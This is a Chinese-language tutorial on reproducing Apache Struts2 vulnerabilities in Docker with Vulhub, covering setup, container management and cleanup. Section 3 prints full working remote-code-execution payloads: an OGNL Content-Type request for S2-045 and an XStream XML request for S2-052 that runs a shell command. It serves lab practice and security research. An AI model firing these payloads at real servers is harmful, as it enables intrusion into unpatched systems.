)
从靶场到实战用Vulhub在Docker里一键复现Struts2全系列漏洞在安全研究领域能够快速搭建可复现的漏洞环境是每个从业者的基本功。传统方式需要手动配置Java环境、下载特定版本的Struts2框架、部署Web服务器整个过程耗时费力且容易出错。而Vulhub项目结合Docker技术为我们提供了一种优雅的解决方案——只需几条命令就能启动一个完整的漏洞实验环境。1. 环境准备与工具链搭建1.1 基础组件安装在开始之前需要确保系统已安装以下核心组件Docker Engine建议使用20.10及以上版本Docker ComposeV2版本兼容性最佳Git客户端用于拉取Vulhub仓库cURL或Postman用于发送测试请求对于Linux系统推荐使用官方脚本一键安装# Ubuntu/Debian示例 sudo apt-get update sudo apt-get install -y git curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER提示安装完成后需要重新登录使docker组权限生效1.2 Vulhub项目获取Vulhub是一个开源的漏洞环境集合项目包含了数百种常见漏洞的Docker化部署方案git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2项目目录结构示例struts2/ ├── s2-001 │ ├── docker-compose.yml │ └── README.md ├── s2-005 │ ├── docker-compose.yml │ └── README.md ...2. Struts2漏洞环境启动与管理2.1 容器化环境启动以S2-045漏洞CVE-2017-5638为例cd s2-045 docker-compose up -d启动后可以通过以下命令检查状态docker-compose ps预期输出应显示服务状态为UpName Command State Ports -------------------------------------------------------------------- s2-045 catalina.sh run Up 0.0.0.0:8080-8080/tcp2.2 网络访问配置默认情况下Vulhub环境会映射以下端口漏洞编号容器端口主机映射端口S2-00180808080S2-00580808080S2-04580808080注意如果端口冲突可以修改docker-compose.yml中的ports配置如8081:80803. 典型漏洞复现实战3.1 S2-045远程代码执行漏洞这是Struts2历史上最严重的漏洞之一攻击者可通过恶意Content-Type头执行系统命令。复现步骤访问启动的Web应用http://your-ip:8080/使用cURL发送恶意请求curl -H Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdid).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} http://your-ip:8080/关键攻击向量分析// 漏洞核心在于文件上传解析器对Content-Type的处理 public class JakartaMultiPartRequest extends MultiPartRequestSupport { public void parse(HttpServletRequest request, String saveDir) throws IOException { // 未对Content-Type进行充分验证 String contentType request.getContentType(); // 直接执行OGNL表达式 } }3.2 S2-052 REST插件漏洞这个漏洞影响Struts2的REST插件攻击者可以通过特制的XML载荷实现远程代码执行。复现方法启动S2-052环境docker-compose up -d发送恶意XML请求curl -X POST -H Content-Type: application/xml -d map entry jdk.nashorn.internal.objects.NativeString flags0/flags value classcom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data dataHandler dataSource classcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource is classjavax.crypto.CipherInputStream cipher classjavax.crypto.NullCipher initializedfalse/initialized opmode0/opmode serviceIterator classjavax.imageio.spi.FilterIterator iter classjavax.imageio.spi.FilterIterator iter classjava.util.Collections$EmptyIterator/ next classjava.lang.ProcessBuilder command stringtouch/string string/tmp/s2-052-pwned/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter /serviceIterator /cipher /is /dataSource /dataHandler /value /jdk.nashorn.internal.objects.NativeString /entry /map http://your-ip:8080/orders验证命令是否执行成功docker-compose exec struts2 ls -la /tmp4. 实验环境优化与调试技巧4.1 容器调试方法当需要深入分析漏洞时可以进入容器内部docker-compose exec struts2 bash常用调试工具网络监控tcpdump -i eth0 -w capture.pcap日志查看tail -f /usr/local/tomcat/logs/catalina.out进程检查ps aux | grep java4.2 实验环境定制如果需要修改Struts2配置可以编辑docker-compose.yml中的volumes部分version: 2 services: struts2: image: vulhub/struts2:s2-045 volumes: - ./struts.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml ports: - 8080:80804.3 资源清理实验完成后可以停止并删除容器docker-compose down如需彻底清理所有Docker资源docker system prune -a